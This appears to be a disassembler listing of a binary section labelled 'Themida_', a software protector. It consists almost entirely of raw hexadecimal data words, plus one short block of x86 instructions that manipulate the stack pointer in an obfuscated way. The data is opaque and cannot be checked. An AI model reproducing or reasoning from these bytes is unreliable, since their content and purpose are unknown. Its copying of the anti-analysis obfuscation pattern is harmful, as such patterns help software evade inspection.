		dd 6082940Eh, 1A52704Ah, 8586E4Ch, 5F71916Ah, 3BADFF99h
		dd 0FE2BC0BCh, 0EDC8541Eh, 0ECFE99D1h, 0F264174Fh, 66100D33h
		dd 99748636h, 0B1280766h, 0AA51CE30h, 0ED3B76A6h, 3DA6F711h
		dd 0C38C2Bh, 92B50000h,	0A10115F4h, 0F37F3744h,	0C5DFF129h
		dd 0A7CCCECh, 5F8F0282h, 0B02D7D2Ah, 144263CBh,	0EA0C1E87h
		dd 4ADEF8D4h, 0AAF5D270h, 0E47FB7CBh, 0A6B8538Bh, 4999AD8Ch
		dd 0A6B8CCABh, 44936E84h, 60F44D69h, 0BF536F4Ah, 1DB1CFA9h
		dd 7F132907h, 0E0748C69h, 718D6806h, 0CBD19739h, 0C742D7F8h
		dd 67425C6Eh, 7E5DFB4Bh, 8597326Ah, 0EEBC54BFh,	0AC1F911h
		dd 6C1390F2h, 0EA1442F7h, 92D26F81h, 0FCADD0ABh, 2E1E4F64h
		dd 902B63BCh, 453AB767h, 11144265h, 0DFBA58A8h,	0DEF08BC3h
		dd 0EB7109BCh, 79h, 8AFCC67Ah, 546FB262h, 0CA2C2B1Bh, 4F50597Bh
		dd 72906AF6h, 948D9F3Ah, 1442B3ECh, 0A433734Ah,	5D7D5613h
		dd 0FC879B0Dh, 562FEAB6h, 465B61F6h, 0E8FA2D6Eh, 0BAD4B0C6h
		dd 1D311026h, 7C987389h, 0DBF7D2E8h, 39573147h,	9BB18FA5h
		dd 0C914F107h, 19CD4ECh, 1E4614A8h, 0CC000000h,	0FF37532Eh
		dd 8D7D5264h, 0A156D335h, 0F21442A0h, 39A9FA18h, 5D392DCEh
		dd 6476CF22h, 5C7E568Fh, 61795624h, 677D5B29h, 6987612Fh
		dd 6C886331h, 6F8B6634h, 768A6937h, 7A94703Eh, 7B9B7442h
		dd 5452EE43h, 4C2815Ah,	83000000h, 148704EAh, 0CF685C24h
		dd 89000056h, 0A868242Ch, 8900005Dh, 0C9BD2414h, 556D2A16h
		dd 5D2404FFh, 81DDF74Dh, 3E3AC1F5h, 4EC8195h, 89000000h
		dd 4832424h, 555A0424h,	0FF243481h, 8F25D102h, 0B8500842h
		dd 25D102FFh, 58084231h, 5A2434FFh, 4C481h, 34FF0000h
		dd 0C4835D24h, 0A46DE904h, 7AF0FFF8h, 336C8E63h, 21E24685h
		dd 0D923B838h, 0C50307EBh, 7E8D38Bh, 67000000h,	0A7D7664Ch
		dd 13E80353h, 0A8000000h, 0C2131F23h, 513FDDB8h, 0C129A97Eh
		dd 0AE54A47Bh, 0EFB6316Bh, 0B70F5E5Bh, 88C681D9h, 66000063h
		dd 2B9DFFBAh, 8B92B7C9h, 60600E3Ch, 0F38B5A53h,	0F00FB961h
		dd 81610250h, 0CD6BA8F7h, 8E927h, 8E8A0000h, 0B25C3D75h
		dd 0F7812EC1h, 672E0233h, 0F781CAB2h, 11E89361h, 0E72CD381h
		dd 8A57798Fh, 0E048FFCh, 0FE9F5h, 0AE6D0000h, 0C33D52A2h
		dd 5008639Ch, 0A0F23D3Bh, 4E98302h, 49D88166h, 64F981E7h
		dd 0FFFFF9Dh, 1885h, 68D08100h,	0E903A979h, 4Bh, 0BC67F2BAh
		dd 0E5D9117Bh, 374A9339h, 0DE856D9h, 0C2000000h, 252A857Fh
		dd 837A10B2h, 116A789Ah, 0CE9h,	0B269E000h, 0A2180F2Ch
		dd 0D1C77A8Ch, 0E95B5AC0h, 0FFFFFF57h, 31D4AB2Ch, 17C0E191h
		dd 6EC387DBh, 1B141801h, 0E92DE1D4h, 2Ah, 2404C7h, 0E8000000h
		dd 0
		dd 0A9ED815Dh, 8B07EBDAh, 89042444h, 0E403AD85h, 0B807h
		dd 8D8D0000h, 7E44FE7h,	54B8E1FFh, 8D000067h, 0EBDB958Dh
		dd 8E907h, 2AA0000h, 4DA06374h,	8D897140h, 7E41B71h, 0B1D9D89h
		dd 85C707E4h, 7E42DA1h,	6F24h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 0BFC35747h,	87E4D3BBh, 0AE882h
		db 2 dup(0)
word_5FFFA6	dw 0EE66h		; DATA XREF: Themida_:005847ACo
		dd 0BDA29BFCh, 0B257DA5h, 4399D03h, 895A07E4h, 0E4232195h
		dd 0B985C707h, 7E422h, 8B000000h, 0E42D119Dh, 0F1B5FF07h
		dd 0E907E42Bh, 7, 0A8921E05h, 0F72F267h, 68Bh, 89B58B00h
		dd 0FF07E422h, 0E4306195h, 51006A07h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h
dword_600004	dd 1404h, 0C3514100h, 6810FA2h,	81000000h, 5B306BCBh, 0FF006A27h
					; DATA XREF: Themida_:00584E84o
		dd 0E40E4195h, 0EBC08B07h, 0F5ABDB1Ah, 0CC493E19h, 0B764E5D2h
		dd 5C9E4910h, 0D3A80EE5h, 87EFA7E3h, 0E9681227h, 19h, 3596946Ch
		dd 5 dup(0)
		dd 0D3CE900h, 0E8680000h, 0E907EBDDh, 0FFF8A21Bh, 0EBDF0068h
		dd 0A211E907h, 0B868FFF8h, 0E907EBDFh, 0FFF8A207h, 0EBE02568h
		dd 0A1FDE907h, 6568FFF8h, 0E907EBE3h, 0FFF8A1F3h, 0EBE6B868h
		dd 0A1E9E907h, 0AE68FFF8h, 0E907EBE7h, 0FFF8A1DFh, 0E5799B73h
		dd 42D6F6CFh, 0A236502Ch, 599AD8Ch, 64F814EFh, 11EC658Bh
		dd 714B61F5h, 0CBA9BF53h, 2E0B21B5h, 1FCF8216h,	0A97CDDA2h
		dd 0A5347913h, 0F5F7B56h, 457D9371h, 4D298AAh, 5D7C1026h
		dd 566A4932h, 320FADFDh, 0AD2A081Ah, 13A6B4B7h,	97447CE5h
		dd 13A6B5E4h, 38542Fh, 73F5332h, 327E26A3h, 0E19DC9DAh
		dd 0D878081Eh, 3FB7h, 424DE000h, 819F1C6Ch, 0D013A6A1h
		dd 293B5732h, 17A9E14Ah, 49819F79h, 0D8A39CAEh,	3B13A6A2h
		dd 3C0A4262h, 560D4561h, 6484C77Fh, 23966530h, 9EAF0760h
		dd 1549B6E6h, 78ED877h,	0B7000000h, 8A29Eh, 79562D00h
		dd 0A016ED6Ah, 5BC41442h, 1FFCCA02h, 27997307h,	59B4576Dh
		dd 98B28E26h, 850A2D3Fh, 525CD929h, 2013A6F5h, 29D27FB7h
		dd 9E13A6FAh, 5AA5D98Dh, 7BD877C3h, 20h, 6C424DA4h, 0A9E99F1Ch
		dd 3EA713A6h, 0AAA65906h, 142513A6h, 7D32C50h, 0FD04D878h
		dd 2D000000h, 11617956h, 18BAE19Fh, 0B5943697h,	75CE69A1h
		dd 6D0B9D63h, 6F3D7593h, 0A43F7795h, 441F394Bh,	4522F028h
		dd 0F163F52Dh, 137FFBA4h, 0E5FF11D1h, 54B2E908h, 826B108Dh
		dd 7EE71442h, 40ACF1Eh,	11468745h, 0EB449D4Bh, 9E1B7D57h
		dd 14424CD9h, 1FA0C75h,	1442489Eh, 34849C79h, 2AA7BC96h
		dd 14425155h, 0B33F9801h, 88AABCD8h, 457D9572h,	223615B3h
		dd 0CA2ED10h, 45C53FBCh, 1A8C13A6h, 51CED191h, 13A7F6AAh
		dd 565FBF28h, 23021471h, 0F0CC6ABAh, 83A2C4D6h,	0D552A20Ch
		dd 1441D1DAh, 7DDF2F98h, 0D9EB01DFh, 34C8E4BFh,	0D327431Eh
		dd 62359E2Ch, 7D850B4Bh, 3E00000Ah, 9AB04466h, 0F70DA1C1h
		dd 576D011Bh, 0BAD06478h, 562FC3DFh, 0C0DCB790h, 1E3C162Ch
		dd 8096748Ah, 0E1F9D6ECh, 6DEA9A4Dh, 13A97D96h,	5670FF44h
		dd 0B5CB5F7Bh, 67AE8DD8h, 0DE166F8Dh, 8556EA43h, 1C6C424Dh
		dd 0A6A9E99Fh, 63EA713h, 56930274h, 455C23A0h, 91FA13A6h
		dd 0E8B6B931h, 1DB8F00Eh, 0C6B9B2C4h, 8513A65Bh, 0AF54D133h
		dd 2B13A65Bh, 5313B0C2h, 7716D42Bh, 0D201D8h, 562A0000h
		dd 0D9C15A79h, 48686C6Eh, 0EE9B7EFh, 0C340A2F2h, 14422B3Ch
		dd 591F319Ah, 422F33ACh, 0FC472414h, 1CB0091Dh,	0FFDE2906h
		dd 835A92EBh, 0D552A20Ch, 13A62453h, 7F19B022h,	0EB860772h
		dd 4191FAD9h, 7A93E3CFh, 3AC6E5D2h, 710C445Eh, 0C5633D5Fh
		dd 0A9C39FE6h, 457DD671h, 2B3F1EAAh, 1599F619h,	0EAC563C5h
		dd 75F496CEh, 6BD256F1h, 1A13257Eh, 14404EBEh, 751363CCh
		dd 0CC2E7E9Ah, 884FA84Fh, 0F80CEB1Bh, 0A2C3EA7h, 0A9FD19F4h
		dd 62373160h, 6565EB2Bh, 56000009h, 0B2C85C7Eh,	0F25B9D9h
		dd 6F851933h, 0D2E87C90h, 6E47DBF7h, 0D8F4CF88h, 36542E44h
		dd 98AE8CA2h, 0F911EE04h, 8502B265h, 13A97FFEh,	5688175Ch
		dd 0B5CB5F7Bh, 5B2CC0D8h, 29617956h, 0D2667E5Bh, 621996F8h
		dd 0F01442A0h, 8617554h, 5948CBF6h, 3BFA74E7h, 0D754CCD5h
		dd 14428F20h, 0DAEC45AEh, 86D6D8B7h, 0A6A35B09h, 97A00913h
		dd 63CB2C8Ch, 1995FABAh, 0DF24CC9h, 0FF61A20Fh,	0CF0DFD82h
		dd 0DEF059ADh, 875E96FFh, 0D956A608h, 0AA28BD81h, 0BFDDB753h
		dd 4393EC87h, 1CB0C8A5h, 0FFBAD042h, 20A9AD53h,	0BDCF2846h
		dd 5AAEC6A3h, 0B08C92B9h, 0AD20A6E6h, 0E000008h, 6A801436h
		dd 0C7DD7191h, 273DD1EBh, 8AA03448h, 26FF93AFh,	90AC87C0h
		dd 0EE0CE6FCh, 5066445Ah, 0B1C9A6BCh, 3DBA6A1Dh, 13A97F46h
		dd 5640CF14h, 52296179h, 0A421713Dh, 13A6861Ah,	0E17FCF38h
		dd 4359ED03h, 6A174F65h, 13A68795h, 0A6975427h,	0D5D9B613h
		dd 82AA0885h, 4FB81442h, 546C4917h, 39D41D00h, 0D0569662h
		dd 840h, 0ED81A37Bh, 4ADEFED7h,	0AA3E5834h, 0DA1B594h
		dd 6C001CF7h, 19F46D93h, 795369FDh, 0D3B1C75Bh,	361329BDh
		dd 27D78A1Eh, 0A940D5AAh, 0AD3C8113h, 1C6C424Dh, 0A0463DBAh
		dd 0AB141442h, 1A2C401Fh, 0B5E1BF3Ch, 66F13A6h,	72700CEh
		dd 263A19B7h, 3DCF214h,	0C1D4ABE3h, 75C5DDBAh, 0A6B503F8h
		dd 0D66CF13h, 27451FBDh, 644254EFh, 0A6B528E7h,	558DF613h
		dd 0DC9FC79Eh, 3413643Eh, 0FA77C720h, 13A6B505h, 3C5668D1h
		dd 0BAAF4363h, 13A6B5C1h, 0EE6B4C49h, 13A6B509h, 1FC5CC5h
		dd 172DF25Fh, 0EB68B811h, 13A63738h, 2F2576E6h,	2EEF1A0Ah
		dd 71A9C9A2h, 0D3E97DD6h, 0B0CCA7FAh, 9269E678h, 4013A6B9h
		dd 0D5257ED7h, 73F5D37h, 0E7945A6Ch, 13A6B9ECh,	908FB78Eh
		dd 0ED0397B7h, 0FBCF414h, 13A6BA3Ch, 100F370Eh,	0A9831737h
		dd 0E0182C0Bh, 85103345h, 0A25CD929h, 3113A6BAh, 659DB793h
		dd 6FD7ACAh, 0D413A6BAh, 0DE7A596Bh, 1A97E703h,	13A6BA65h
		dd 0F72F88F1h, 0C7DED84Ah, 586C4B67h, 5A785220h, 6B1BE422h
		dd 86BECF27h, 169F29D6h, 169AE64h, 4DD70000h, 0BA1C6C42h
		dd 17293D1Ch, 0A6A9141Eh, 81D13A13h, 0E0BB06E3h, 98F18CC4h
		dd 0C611EE04h, 0FA95CDEDh, 0A1BC69A1h, 2094E002h, 9F7CE3A3h
		dd 0BB993787h, 0C0D26DA5h, 9CAB889Eh, 6815581Fh, 0C7DDBB9Bh
		dd 3AA3F48Fh, 0C3D2A9E1h, 624157EBh, 1284164Eh,	0FD6A094Dh
		dd 0A5BFD149h, 61CB0C8h, 2CD91129h, 0E9E28A81h,	5CC38300h
		dd 0BDD3677Fh, 0B990C8E0h, 995EDBDCh, 3515F7F5h, 0A62373CCh
		dd 15F7F5D1h, 0C5D40C7Eh, 5E4FC7E5h, 95306882h,	410CDC3Ch
		dd 0B8003EBDh, 0CA5EC7A6h, 85BDD9B4h, 77C7E7AEh, 0F7CA09FAh
		dd 5A39D515h, 0FF9DED46h, 0DFF9D524h, 78527486h, 0D0E200DAh
		dd 71C1D9B6h, 66E3FAD3h, 15F7CA91h, 437BD43Dh, 0D57148A8h
		dd 694075FAh, 61FF9157h, 3E586A86h, 580F4763h, 7D5AC581h
		dd 98771565h, 9FB14C84h, 728A677Dh, 7C32633Ah, 0A2C0AF2Ch
		dd 0F18F15F7h, 0C753F712h, 0E71C733Ah, 0FBE02E8Eh, 38DCCE35h
		dd 4ADE4726h, 73F5734h,	0D455B39h, 0E05F07CEh, 4157EB03h
		dd 1C3D1964h, 0B55BD22Ah, 0C2126B1Bh, 0F7EABE45h, 5AB31C15h
		dd 75916C0Ah, 0CA90A23Dh, 0BC0CA2F3h, 0F7EAAC3Fh, 69B92215h
		dd 0C5D7EDCBh, 99AF8DA3h, 0AC0B8A61h, 0F7EA482Fh, 449D0615h
		dd 0EA9077F4h, 0C15F15F7h, 0DCBBCDE3h, 560EDF73h, 0AECD6179h
		dd 0F23C6E1h, 0DDDA8DA8h, 21B73484h, 7013A6D0h,	60876BFEh
		dd 0E6E36E2Ah, 2C4CACF6h, 0D3B2C424h, 9E7C1A6Ah, 4F297C55h
		dd 5A0D831h, 8BAE48A5h,	4CA51E8Fh, 37518AFCh, 73F5332h
		dd 0A6400C6Ch, 0E244658h, 0BC0DE730h, 0F691C9DDh, 71CA659Dh
		dd 8FA58321h, 0AFE0B77Dh, 8832AFFFh, 0C614428Ah, 0F593255Dh
		dd 2DC80018h, 8359221Bh, 0DEB11B8Ah, 801E80D0h,	0B55088A6h
		dd 0F60CAAA3h, 0EA5A1C6Eh, 1529F85Ch, 3C5A347Eh, 0B7106904h
		dd 0BCD4B17Fh, 55E0BF68h, 42C8085Ah, 500h, 2DC1E3BBh, 8A1E3E17h
		dd 0EA7E9874h, 4DE1F5D4h, 0AC405C37h, 59342DD3h, 0B993A93Dh
		dd 13F1079Bh, 765369FDh, 6717CA5Eh, 0A94315EAh,	0ED7CC113h
		dd 1C6C424Dh, 0A0463DBAh, 78141442h, 14267F9Fh,	80D3B936h
		dd 31A113A6h, 0F4D0BFA1h, 889F7ADAh, 0F2D0793h,	2FD17EB6h
		dd 9E13A65Ch, 0B9D1AE4Ch, 1F5A0AA7h, 538BA581h,	34CBA6B8h
		dd 0A1D87721h, 0DBh, 1AE14FC1h,	4F379278h, 0F1035C70h
		dd 17F4921Ch, 3BF4EDFFh, 0EF1442A0h, 3BC03D9Fh,	971442A0h
		dd 0A0C5BA37h, 28911442h, 84D8BDCFh, 0DEF00AE6h, 7FCFE7C4h
		dd 3CE603E1h, 615C01CCh, 0D1F3055Eh, 7FCFDFB2h,	0B93EBB1Dh
		dd 151442CBh, 0D2A19AACh, 801442CBh, 4C29C717h,	942A412Dh
		dd 99F2F9CAh, 16F3C187h, 464B6AFEh, 0EC9B1868h,	7B1442CBh
		dd 70ED04DDh, 1442CB8Bh, 7385DE47h, 69DB2B94h, 52BD5EF2h
		dd 0F4BACC8Fh, 9D314926h, 4B9B137Eh, 53714BE9h,	0CB974841h
		dd 0DB3B1442h, 0AB04E069h, 2F9ADB44h, 1442A348h, 0F4449D06h
		dd 29617956h, 9B67C8Eh,	1442E376h, 0B1A5E1B8h, 0E07ECEE0h
		dd 19B4EC02h, 0F3AC2907h, 9F1442E3h, 84F72D2Fh,	60B99EB1h
		dd 0C1FECCh, 928D0000h,	898B5020h, 3446C934h, 0E0307E11h
		dd 0A6E54563h, 72AA1313h, 5CACCAA4h, 0B9CBDFBEh, 921C7897h
		dd 0C632C542h, 37A013A6h, 730885E7h, 0DF13A6C6h, 0F19E6476h
		dd 0EC5939F1h, 0C0FBABBCh, 0C61AE15Eh, 4FB813A6h, 0B79D623Dh
		dd 703AD877h, 5A000000h, 78FCAFE8h, 62740384h, 67474D8Dh
		dd 0A0E59A17h, 0D4721442h, 0BAD0AEF5h, 1A972961h, 1442A065h
		dd 1D2F88F1h, 0CF9DD53Eh, 2443D7F5h, 71EE3E70h,	1442A0DEh
		dd 46F32B94h, 1442E1B5h, 643FDDF5h, 63421048h, 47E4F64Fh
		dd 0E2BE5C1Fh, 0E3F590C8h, 8ADAD4C0h, 42E1220Dh, 52CF3114h
		dd 1442E1ADh, 0E1D6AD2Ah, 1B841442h, 704F61CAh,	56A27307h
		dd 97296179h, 0F3CF1EF9h, 546E80D9h, 0ACCB5F77h, 5A36D4E3h
		dd 26D0840h, 1442A07Dh,	0C71770D9h, 0A6B3404Ah,	6DA50E13h
		dd 7FC79DBh, 0D313A6B4h, 9C5F586Ah, 0F713A6B4h,	0FDCB0319h
		dd 8DCC0424h, 0C49F9EC6h, 0E6F74FA8h, 0A01FEBEh, 3597D878h
		dd 0A6BCC3B8h, 94468013h, 6B44ED3Fh, 463DBA1Ah,	1413A6EDh
		dd 0A14052ABh, 45h, 75424DCAh, 0A0E19613h, 46D1442h, 42A0E299h
		dd 0AE077014h, 0C4E3C05Eh, 5A9A8F19h, 0FD358E53h, 0F5725062h
		dd 13A64C3Fh, 0CA5C94FDh, 1394D2Ch, 0A05B5466h,	2713A64Eh
		dd 0D12E6E16h, 6D87723h, 0EAh, 6179562Fh, 64805B29h, 18289A2Ch
		dd 0FF47187h, 0CB1442A1h, 0DEDB0262h, 0D6B3CDDFh, 34FC6EBEh
		dd 7D2925D8h, 8567AD6Ch, 2F9B825h, 7F5C2AF0h, 0FDDED367h
		dd 561442F0h, 39512E79h, 3C583301h, 0B7106904h,	18300D23h
		dd 344E2AC8h, 894F61FCh, 81D1DDB2h, 0A6F79604h,	0C75BC413h
		dd 0A9A47BEDh, 719E4B93h, 5B533C5Fh, 49BA8E0Bh,	48B81440h
		dd 813322AAh, 1A97E7F7h, 1B88C465h, 0DF2F88F1h,	0B64A6641h
		dd 55A9C5A0h, 6237BCDCh, 0AD39BFFFh, 0E000001h,	6A801436h
		dd 0C7DD7191h, 273DD1EBh, 8AA03448h, 26FF93AFh,	90AC87C0h
		dd 0EE0CE6FCh, 5066445Ah, 0B1C9A6BCh, 3DBA6A1Dh, 13A94646h
		dd 5640CF14h, 278D587Bh, 15CCA936h, 0DC4E28BCh,	93D7D226h
		dd 2B633A9Bh, 7EC677D7h, 0AB88A2B4h, 8725FF93h,	0C15C94A8h
		dd 424DDAAFh, 0A6AA1C6Ch, 0C452F362h, 0CB482638h, 13A65305h
		dd 85326AD3h, 13A7A3FAh, 55044051h, 88C0DCB7h, 0FF00DBEDh
		dd 99D8770Eh, 0F6081CFBh, 0A557h, 79568000h, 805B2961h
		dd 0E53E5231h, 0A49F00ADh, 9B781442h, 0FCD9EF83h, 0BAD5ACE4h
		dd 0A442A4F4h, 0A59EB0C6h, 13A6AB37h, 9CEFC866h, 134BA4C2h
		dd 1E876678h, 8EF6CCEh,	0C613A6B4h, 0A294B5Dh, 5CD92985h
		dd 1440525Bh, 0B249C628h, 201B885Bh, 5DC6A5B7h,	330DAB0Dh
		dd 0EE90315h, 6D485EF2h, 263EFD51h, 71B16237h, 0B7EBh
		dd 0A2C0400h, 67876076h, 0C7E1BDD3h, 2A3E1D33h,	89A58096h
		dd 7DD61CF5h, 0DCF286A2h, 3A50E402h, 9CB2465Ch,	6013A7BFh
		dd 474C33B0h, 0C50A13A9h, 5F7B5636h, 0C0D8B5CBh, 79565B2Ch
		dd 0F9972961h, 31CC041Ch, 1028051Fh, 2604A27Ch,	0B4DBFE10h
		dd 0EB2DAAFAh, 0B913A97Bh, 6D4A1850h, 89670555h, 293F6173h
		dd 4FFC344Ch, 21D401A0h, 0B9A4E05Dh, 1A30C4DCh,	73D5253Dh
		dd 2BF901F6h, 5264CD2Eh, 0CBDFBE8Ch, 0E800DD7Bh, 654210D6h
		dd 6B47154Dh, 38B51951h, 0B7CF440Ch, 0EC243C19h, 0FF840151h
		dd 5B2E2BF9h, 343E0F2h,	93273F1Ch, 5088A07Dh, 3CAh, 3E8D5900h
		dd 245C7E56h, 29617956h, 2F677D5Bh, 31698761h, 346C8863h
		dd 376F8B66h, 3E768A69h, 427A9470h, 437B9B74h, 0E38953EEh
		dd 4C381h, 0BF570000h, 4, 875FFB29h, 685C241Ch,	1FB3h
		dd 56241C89h, 0C681E689h, 4, 4EE81h, 34870000h,	2C895C24h
		dd 0DC1D6824h, 545B07EBh, 81242C8Bh, 4C4h, 4EC8100h, 89000000h
		dd 458F241Ch, 242C8B08h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		dd 235BF286h, 8D1635E0h, 8AB883FEh, 307EBE8h, 0F4E0FFC5h
		dd 4A385DF3h, 0C20F61DFh, 89421E15h, 0B1524FB6h, 7D156785h
		dd 0D929AAD1h, 0F96C9149h, 617785DDh, 0CE69FCE5h, 0BA14B672h
		dd 0A832DD59h, 0DF3CCC8Fh, 0F41AD0EEh, 0B9670E82h, 1D033B2Ch
		dd 8C5798D9h, 0E83BB0FCh, 0Ch, 0C3E922Ch, 0C7DC6EE4h, 7E0EA353h
		dd 0C0BF0F59h, 6F54C181h, 16B00000h, 1BA668h, 850F5000h
		dd 3, 5FFBBF0Fh, 0CE95Ah, 0C7C40000h, 0E107A70Bh, 1E83DEh
		dd 198B61F0h, 0F381F38Bh, 2BA885E9h, 0F381C18Bh, 762EF7A3h
		dd 5E9h, 98F61F00h, 0F381F825h,	6EAF9EDCh, 89F3BF0Fh, 56B46019h
		dd 9E8h, 63C5AF00h, 71D07543h, 0E28A32BDh, 0E983615Bh
		dd 12E68103h, 494ED7CDh, 890Fh,	0EA810000h, 1, 1D850Fh
		dd 81660000h, 0E965ACCEh, 24h, 743D1D70h, 0AA398A34h, 908CC0B0h
		dd 0C05EAA67h, 6601C96Ah, 0BFC4F681h, 0FFFF81E9h, 0E0235BFFh
		dd 0FE8D1635h, 1EE9h, 7E008A00h, 52h, 5	dup(0)
		dd 0E9000000h, 583h, 15A9CBA3h,	720626FFh, 0D266805Ch
		dd 35C9DDBCh, 9428441Fh, 411C35BBh, 0A17B9125h,	0FBD9EF83h
		dd 5E3B51E5h, 4FFFB246h, 0A94A2DD2h, 0D564A913h, 0ED6A7956h
		dd 1442A016h, 0CA025BC4h, 710521FCh, 2E667E5Bh,	336B8360h
		dd 346C8C65h, 987412D0h, 37B4467Eh, 1442A040h, 3A4CA50Eh
		dd 14B2E99Dh, 0B4921E38h, 95728C9Eh, 0F5D3E97Dh, 57354BDFh
		dd 0E119310Eh, 3B9DED46h, 42A039BEh, 1FF99514h,	0D52EC901h
		dd 3F516F49h, 0B3D1AB79h, 0EC14F163h, 98D0E4C3h, 0FB109DFDh
		dd 0A472384Ah, 0A573ABCBh, 3675ADCBh, 67B376Fh,	0A644772Fh
		dd 0B93EBBC8h, 151442E2h, 274153ACh, 45E33349h,	7F1A5266h
		dd 58354B6Dh, 0A15B0840h, 7E1442E2h, 26D985C1h,	0AFE05BCFh
		dd 70h,	617956D8h, 0B4739F11h, 0D8738BAAh, 969F8B9h, 86981686h
		dd 116A13C0h, 39371442h, 70A8BC9Bh, 7E26C3D5h, 9DC49D3Bh
		dd 0C6DE39ABh, 172982BEh, 5BABC33Ch, 114E0h, 563D0000h
		dd 57255D7Dh, 58265E7Eh, 77156579h, 0AE49819Bh,	0F572D69Ch
		dd 0A2F5CEB1h, 0D873ABC7h, 0F8D5EB7Fh, 724CE0h,	9638623Fh
		dd 39B60680h, 14421342h, 0C095A710h, 275F7B56h,	21AF795h
		dd 31D2FCAh, 94D20A2Ah,	42E09BCBh, 7B164E64h, 58744F69h
		dd 0B9D1AEC4h, 0D6EECB69h, 5430FEC4h, 5768023Ah, 0FC06F2Fh
		dd 0A735E05Ch, 5E000000h, 275F7B56h, 2B637D59h,	3068805Dh
		dd 0A05A219Eh, 8FF81442h, 1DC2503h, 0B912ADE5h,	0CA7A4381h
		dd 0BFE76486h, 6E298AFCh, 4932C946h, 37A01442h,	0C765ED7h
		dd 0E905E0FAh, 48643F55h, 4F634210h, 6B8561FFh,	0A7F99359h
		dd 1B2DB835h, 97747571h, 53AC477Fh, 0BCE0A441h,	0E05BC773h
		dd 0CFEDC765h, 721EBDh,	56470000h, 95275F7Bh, 41AC0223h
		dd 39B68E2Bh, 1442F542h, 0FE4EA710h, 42F5FA81h,	0DDEF5814h
		dd 97CFE5C3h, 99D1EFC9h, 5D0EDCBh, 0A1349E2Ah, 0A1DF1770h
		dd 45E4ACD8h, 0C09B82C2h, 1F789871h, 7D56BA8Bh,	0D831512Ah
		dd 0A009F3A0h, 0B18C1442h, 0B48F5D95h, 5F6F4491h, 0D029C56Bh
		dd 0D1F1CA98h, 5FDCFE99h, 0AC696B27h, 0FD3BC4F8h, 19CE05Bh
		dd 0C5000000h, 4F2D7A56h, 0DAA8E039h, 805BDEFDh, 0E1A5C110h
		dd 0C2995088h, 5C39D782h, 3C183244h, 206F8E22h,	8BC13E8Eh
		dd 4913A685h, 0FDDAA8E0h, 19F795E5h, 1E30CB03h,	0F109E6FCh
		dd 0B08927B9h, 0ABBD5890h, 0A6E5CBB2h, 8EB63913h, 69AB28Fh
		dd 0ABFB13F0h, 101BA539h, 692D972h, 37FD0F2Bh, 3C748C69h
		dd 0E7135FEh, 57C91931h, 939DDBF6h, 99BBCDB3h, 77E43DC2h
		dd 15E9AD8h, 92C30000h,	0ACF619F4h, 33699159h, 2CFA328Bh
		dd 63FE3650h, 85A57E0Ah, 6F3F5073h, 0DE5BBD1Fh,	1442F719h
		dd 413A4CB5h, 13A6E99Fh, 0A057D436h, 2E13A6D5h,	2DE7B8BEh
		dd 0CB2484CAh, 3971DAB9h, 26768E6Bh, 5C94AA88h,	3D5B35C1h
		dd 36586A05h, 0F32B4320h, 0F8304825h, 0CAB5F1BAh, 0E785D5EDh
		dd 0C0E2F408h, 1F6C48E6h, 95CD2646h, 562DAAFAh,	413A639h
		dd 51AE899Bh, 86D87778h, 57h, 0A18834A6h, 0EB5B19E9h, 444D04D9h
		dd 69D1A6Ah, 546BBD5Fh,	7106B3EBh, 319442A0h, 62AF8B29h
		dd 0DA126B87h, 0D4902D3Fh, 2D7D3160h, 17E9A8BBh, 7DFA96C3h
		dd 94427B86h, 8092EB54h, 0C3A240A2h, 3FA49DAFh,	5BEBBD84h
		dd 0E6845EF2h, 1CB7EF0Bh, 8A380Ah, 4DC70000h, 9F1C6C42h
		dd 13A6B9F5h, 0E7AD2A9Ch, 3A8446FAh, 0A8E04928h, 51E5FDDAh
		dd 20620577h, 46327C65h, 253D1A34h, 294040EDh, 41C413A6h
		dd 77F45605h, 13A62A80h, 0B9D3E54Eh, 1130C4DCh,	63E0307Eh
		dd 144DC0B2h, 0FD82FF61h, 591B92D4h, 63FFDEF0h,	0DE166F85h
		dd 0CB1B3310h, 1394F2Dh, 0E13A5A33h, 3A5209CFh,	70A8BE9Ch
		dd 7E26C3D5h, 0A4C49D3Bh, 9CBFD16Ch, 0EE6BBBF3h, 1C793E27h
		dd 690E8BEBh, 0E503FEFEh, 0BE8F237Ch, 0FD19F492h, 0F5182AC5h
		dd 47C4149Ah, 13A94A9Eh, 0D5A3DB44h, 1E90E0F8h,	494A8C15h
		dd 7451DDC4h, 7789245Ch, 1DD7B55h, 0C414AFE7h, 0A953B047h
		dd 0A3B51E13h, 0FC8DAC89h, 0DDA21F80h, 7913A942h, 4FFAB010h
		dd 0F68D0A5Ah, 6413A92Fh, 0B452A2FBh, 0BB89C1D5h, 5B6DC6DEh
		dd 0DF94E895h, 0AF6D463Ch, 0E51D3311h, 0EB9B384Ah, 0EB7F9774h
		dd 90E0F8D5h, 0C4FC16F2h, 83511729h, 1DFB99A4h,	0DFE79C07h
		dd 0A7349C3h, 0EBC279B1h, 0CFE7C4BBh, 0E808E17Fh, 0C19EB4D6h
		dd 8EB71A9h, 71000000h,	0CCDEF6D3h, 563E8DF7h, 56245C7Eh
		dd 5B296179h, 612F677Dh, 63316987h, 66346C88h, 69376F8Bh
		dd 703E768Ah, 74427A94h, 0EE437B9Bh, 1EA668h, 243C8900h
		dd 7B3B68h, 24348900h, 5E08950h, 4, 8704E883h, 895C2404h
		dd 6852240Ch, 43DA37F2h, 0E7BF575Ah, 0D1385F19h, 47D7F7EFh
		dd 0C781D7F7h, 0CDF4E6Ch, 6095C781h, 0FA21EBB2h, 5BC2815Fh
		dd 89072BB6h, 8B545AD6h, 0C481240Ch, 4,	8B850h,	0C8010000h
		dd 89F58955h, 0FF585D28h, 81592434h, 4C4h, 2434FF00h, 4C4815Eh
		dd 0E9000000h, 0FFF88E37h, 0B926EFA0h, 0DF20E74Fh, 0B8AC1AFCh
		dd 7EBEF45h, 0E0FFC503h, 767D1C6Eh, 5C1FB271h, 7D069F73h
		dd 6416E351h, 0FC2C64Ah, 17F96ABDh, 4F280D5Dh, 437DB181h
		dd 7077233Fh, 0C8A0395h, 0B4F820h, 7255E47Dh, 5E8h, 0A6343000h
